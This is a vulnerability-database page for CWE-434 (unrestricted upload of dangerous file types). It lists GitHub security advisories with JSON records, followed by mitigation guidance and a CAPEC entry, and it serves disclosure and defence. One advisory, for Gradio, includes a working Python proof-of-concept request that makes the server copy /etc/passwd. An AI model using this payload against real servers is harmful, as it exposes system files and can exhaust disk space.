CWE-434
AllowedUnrestricted Upload of File with Dangerous Type
Abstraction: Base · Status: Draft
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
6008 vulnerabilities reference this CWE, most recent first.
GHSA-8JMW-9789-6XHF
Vulnerability from github – Published: 2025-10-13 06:32 – Updated: 2025-10-13 06:32A flaw has been found in ProjectsAndPrograms School Management System up to 6b6fae5426044f89c08d0dd101c7fa71f9042a59. Affected by this vulnerability is an unknown functionality of the file /assets/uploadNotes.php. This manipulation of the argument File causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been published and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided.
{
"affected": [],
"aliases": [
"CVE-2025-11659"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-13T04:15:55Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in ProjectsAndPrograms School Management System up to 6b6fae5426044f89c08d0dd101c7fa71f9042a59. Affected by this vulnerability is an unknown functionality of the file /assets/uploadNotes.php. This manipulation of the argument File causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been published and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided.",
"id": "GHSA-8jmw-9789-6xhf",
"modified": "2025-10-13T06:32:36Z",
"published": "2025-10-13T06:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11659"
},
{
"type": "WEB",
"url": "https://github.com/qqy-123/cve/issues/4"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.328076"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.328076"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.665609"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8JR8-77M8-6CJJ
Vulnerability from github – Published: 2025-06-29 03:33 – Updated: 2025-06-29 03:33A vulnerability classified as critical was found in code-projects Library System 1.0. Affected by this vulnerability is an unknown functionality of the file /profile.php. The manipulation of the argument image leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-6837"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-29T01:15:21Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical was found in code-projects Library System 1.0. Affected by this vulnerability is an unknown functionality of the file /profile.php. The manipulation of the argument image leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-8jr8-77m8-6cjj",
"modified": "2025-06-29T03:33:10Z",
"published": "2025-06-29T03:33:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6837"
},
{
"type": "WEB",
"url": "https://github.com/blueandhack/cve/issues/7"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.314281"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.314281"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.603154"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8JW3-6X8J-V96G
Vulnerability from github – Published: 2025-05-29 22:36 – Updated: 2026-06-05 17:55An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
Description
The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.
Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method
The vulnerable code flow:
1. A JSON payload is sent to the /gradio_api/run/predict endpoint
2. The path field within FileData object can reference any file on the system
3. When processing this request, the Component.flag() method creates a GradioDataModel object
4. The FileData._copy_to_dir() method uses this path without proper validation:
def _copy_to_dir(self, dir: str) -> FileData:
pathlib.Path(dir).mkdir(exist_ok=True)
new_obj = dict(self)
if not self.path:
raise ValueError("Source file path is not set")
new_name = shutil.copy(self.path, dir) # vulnerable sink
new_obj["path"] = new_name
return self.__class__(**new_obj)
- The lack of validation allows copying any file the Gradio process can read
PoC
The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:
Setup a Gradio app:
import gradio as gr
def image_classifier(inp):
return {'cat': 0.2, 'dog': 0.8}
test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")
test.launch(share=True)
Run the PoC:
import requests
url = "https://[your-gradio-app-url]/gradio_api/run/predict"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
}
payload = {
"data": [
{
"path": "/etc/passwd",
"url": "[your-gradio-app-url]",
"orig_name": "network_config",
"size": 5000,
"mime_type": "text/plain",
"meta": {
"_type": "gradio.FileData"
}
},
{}
],
"event_data": None,
"fn_index": 4,
"trigger_id": 11,
"session_hash": "test123"
}
response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gradio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48889"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-29T22:36:59Z",
"nvd_published_at": "2025-05-30T06:15:28Z",
"severity": "MODERATE"
},
"details": "An arbitrary file copy vulnerability in Gradio\u0027s flagging feature allows unauthenticated attackers to copy any readable file from the server\u0027s filesystem. While attackers can\u0027t read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.\n\n### Description\nThe flagging component doesn\u0027t properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies.\n\n**Source**: User-controlled `path` parameter in the flagging functionality JSON payload \n**Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method\n\nThe vulnerable code flow:\n1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint\n2. The `path` field within `FileData` object can reference any file on the system\n3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object\n4. The `FileData._copy_to_dir()` method uses this path without proper validation:\n\n```python\ndef _copy_to_dir(self, dir: str) -\u003e FileData:\n pathlib.Path(dir).mkdir(exist_ok=True)\n new_obj = dict(self)\n\n if not self.path:\n raise ValueError(\"Source file path is not set\")\n new_name = shutil.copy(self.path, dir) # vulnerable sink\n new_obj[\"path\"] = new_name\n return self.__class__(**new_obj)\n```\n5. The lack of validation allows copying any file the Gradio process can read\n\n### PoC\nThe following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio\u0027s flagged directory:\n\n\nSetup a Gradio app:\n\n```python\nimport gradio as gr\n\ndef image_classifier(inp):\n return {\u0027cat\u0027: 0.2, \u0027dog\u0027: 0.8}\n\ntest = gr.Interface(fn=image_classifier, inputs=\"image\", outputs=\"label\")\n\ntest.launch(share=True)\n```\n\nRun the PoC:\n\n```python\nimport requests\n\nurl = \"https://[your-gradio-app-url]/gradio_api/run/predict\" \nheaders = {\n \"Content-Type\": \"application/json\", \n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\" \n}\n\npayload = {\n \"data\": [\n {\n \"path\": \"/etc/passwd\", \n \"url\": \"[your-gradio-app-url]\",\n \"orig_name\": \"network_config\", \n \"size\": 5000, \n \"mime_type\": \"text/plain\", \n \"meta\": {\n \"_type\": \"gradio.FileData\" \n }\n },\n {} \n ],\n \"event_data\": None,\n \"fn_index\": 4, \n \"trigger_id\": 11, \n \"session_hash\": \"test123\" \n}\n\nresponse = requests.post(url, headers=headers, json=payload)\nprint(f\"Status Code: {response.status_code}\")\nprint(f\"Response Body: {response.text}\")\n```",
"id": "GHSA-8jw3-6x8j-v96g",
"modified": "2026-06-05T17:55:32Z",
"published": "2025-05-29T22:36:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-8jw3-6x8j-v96g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48889"
},
{
"type": "PACKAGE",
"url": "https://github.com/gradio-app/gradio"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2025-119.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gradio Allows Unauthorized File Copy via Path Manipulation"
}
GHSA-8JXF-74XP-9728
Vulnerability from github – Published: 2022-04-14 00:00 – Updated: 2022-04-22 00:01Stored XSS viva .svg file upload in GitHub repository causefx/organizr prior to 2.1.1810. This allows attackers to execute malicious scripts in the user's browser and it can lead to session hijacking, sensitive data exposure, and worse.
{
"affected": [],
"aliases": [
"CVE-2022-1345"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-13T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Stored XSS viva .svg file upload in GitHub repository causefx/organizr prior to 2.1.1810. This allows attackers to execute malicious scripts in the user\u0027s browser and it can lead to session hijacking, sensitive data exposure, and worse.",
"id": "GHSA-8jxf-74xp-9728",
"modified": "2022-04-22T00:01:05Z",
"published": "2022-04-14T00:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1345"
},
{
"type": "WEB",
"url": "https://github.com/causefx/organizr/commit/a09d834d995599756b62016af7026d2408ecf43a"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/781b5c2a-bc98-41a0-a276-ea12399e5a25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8M2H-8F3P-P428
Vulnerability from github – Published: 2026-01-05 15:32 – Updated: 2026-01-05 15:32Unrestricted Upload of File with Dangerous Type vulnerability in Meow Apps Media File Renamer allows Using Malicious Files.This issue affects Media File Renamer: from n/a through 5.7.7.
{
"affected": [],
"aliases": [
"CVE-2023-50897"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-05T14:15:52Z",
"severity": "CRITICAL"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability in Meow Apps Media File Renamer allows Using Malicious Files.This issue affects Media File Renamer: from n/a through 5.7.7.",
"id": "GHSA-8m2h-8f3p-p428",
"modified": "2026-01-05T15:32:14Z",
"published": "2026-01-05T15:32:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50897"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/plugin/media-file-renamer/vulnerability/wordpress-media-file-renamer-plugin-5-7-7-arbitrary-file-rename-lead-to-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8M5Q-CRQQ-6PMF
Vulnerability from github – Published: 2022-04-23 00:40 – Updated: 2022-07-13 19:27A local code execution issue exists in Apache Struts2 when processing malformed XSLT files, which could let a malicious user upload and execute arbitrary files. A patch exists as of version 2.5.22.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.struts:struts2-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"fixed": "2.5.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-1592"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-13T19:27:31Z",
"nvd_published_at": "2019-12-05T21:15:00Z",
"severity": "HIGH"
},
"details": "A local code execution issue exists in Apache Struts2 when processing malformed XSLT files, which could let a malicious user upload and execute arbitrary files. A patch exists as of version 2.5.22.",
"id": "GHSA-8m5q-crqq-6pmf",
"modified": "2022-07-13T19:27:31Z",
"published": "2022-04-23T00:40:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1592"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2012-1592"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-1592"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/struts"
},
{
"type": "WEB",
"url": "https://github.com/apache/struts/blob/master/core/src/main/resources/struts-default.xml#L39-L76"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/WW-5055"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r348ed455a140273c40b974f0615dee692f7c9b26c6de2118b4280ef2%40%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r348ed455a140273c40b974f0615dee692f7c9b26c6de2118b4280ef2@%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r593ebb2f4c95b064e6901fd273eff256c493db952bdb484395948ffc%40%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r593ebb2f4c95b064e6901fd273eff256c493db952bdb484395948ffc@%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r93c4e3f6cb138cd117c739714f07e47af547183ba099ba46be2b2a5b%40%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r93c4e3f6cb138cd117c739714f07e47af547183ba099ba46be2b2a5b@%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2012/Mar/110"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2012-1592"
},
{
"type": "WEB",
"url": "https://struts.apache.org/security/#internal-security-mechanism"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2012/03/28/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unrestricted Upload of File with Dangerous Type in Apache Struts2"
}
GHSA-8MFC-4WP8-57RX
Vulnerability from github – Published: 2024-03-19 15:30 – Updated: 2026-04-01 18:31Unrestricted Upload of File with Dangerous Type vulnerability in Tourfic.This issue affects Tourfic: from n/a through 2.11.15.
{
"affected": [],
"aliases": [
"CVE-2024-29135"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-19T14:15:08Z",
"severity": "CRITICAL"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability in Tourfic.This issue affects Tourfic: from n/a through 2.11.15.",
"id": "GHSA-8mfc-4wp8-57rx",
"modified": "2026-04-01T18:31:42Z",
"published": "2024-03-19T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29135"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/tourfic/vulnerability/wordpress-tourfic-plugin-2-11-15-arbitrary-file-upload-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/tourfic/wordpress-tourfic-plugin-2-11-15-arbitrary-file-upload-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8MRJ-4HP3-P7PW
Vulnerability from github – Published: 2022-05-12 00:02 – Updated: 2022-05-18 00:00An arbitrary file upload vulnerability in the New Entry module of Car Rental Management System v1.0 allows attackers to execute arbitrary code via a crafted PHP file.
{
"affected": [],
"aliases": [
"CVE-2022-29318"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-11T13:15:00Z",
"severity": "HIGH"
},
"details": "An arbitrary file upload vulnerability in the New Entry module of Car Rental Management System v1.0 allows attackers to execute arbitrary code via a crafted PHP file.",
"id": "GHSA-8mrj-4hp3-p7pw",
"modified": "2022-05-18T00:00:26Z",
"published": "2022-05-12T00:02:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29318"
},
{
"type": "WEB",
"url": "https://hackmd.io/ITi4yd2-RgmDZh8FW-KTlA"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8MRR-27V4-2G8C
Vulnerability from github – Published: 2025-02-23 21:30 – Updated: 2025-02-23 21:30A vulnerability was found in SourceCodester E-Learning System 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/modules/lesson/index.php of the component List of Lessons Page. The manipulation leads to unrestricted upload. It is possible to launch the attack remotely.
{
"affected": [],
"aliases": [
"CVE-2025-1590"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-23T19:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in SourceCodester E-Learning System 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/modules/lesson/index.php of the component List of Lessons Page. The manipulation leads to unrestricted upload. It is possible to launch the attack remotely.",
"id": "GHSA-8mrr-27v4-2g8c",
"modified": "2025-02-23T21:30:49Z",
"published": "2025-02-23T21:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1590"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.296574"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.296574"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.504045"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8MVP-5WCJ-59WF
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19flatcore-cms is vulnerable to Unrestricted Upload of File with Dangerous Type
{
"affected": [],
"aliases": [
"CVE-2021-3745"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-28T17:15:00Z",
"severity": "MODERATE"
},
"details": "flatcore-cms is vulnerable to Unrestricted Upload of File with Dangerous Type",
"id": "GHSA-8mvp-5wcj-59wf",
"modified": "2022-05-24T19:19:03Z",
"published": "2022-05-24T19:19:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3745"
},
{
"type": "WEB",
"url": "https://github.com/flatcore/flatcore-cms/commit/5cc3937b6bc38293ec921a5cf00018b48b668dc6"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/7879ab3d-8018-402a-aa0b-131bdbd1966c"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Mitigation
Strategy: Input Validation
Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
Mitigation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Mitigation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.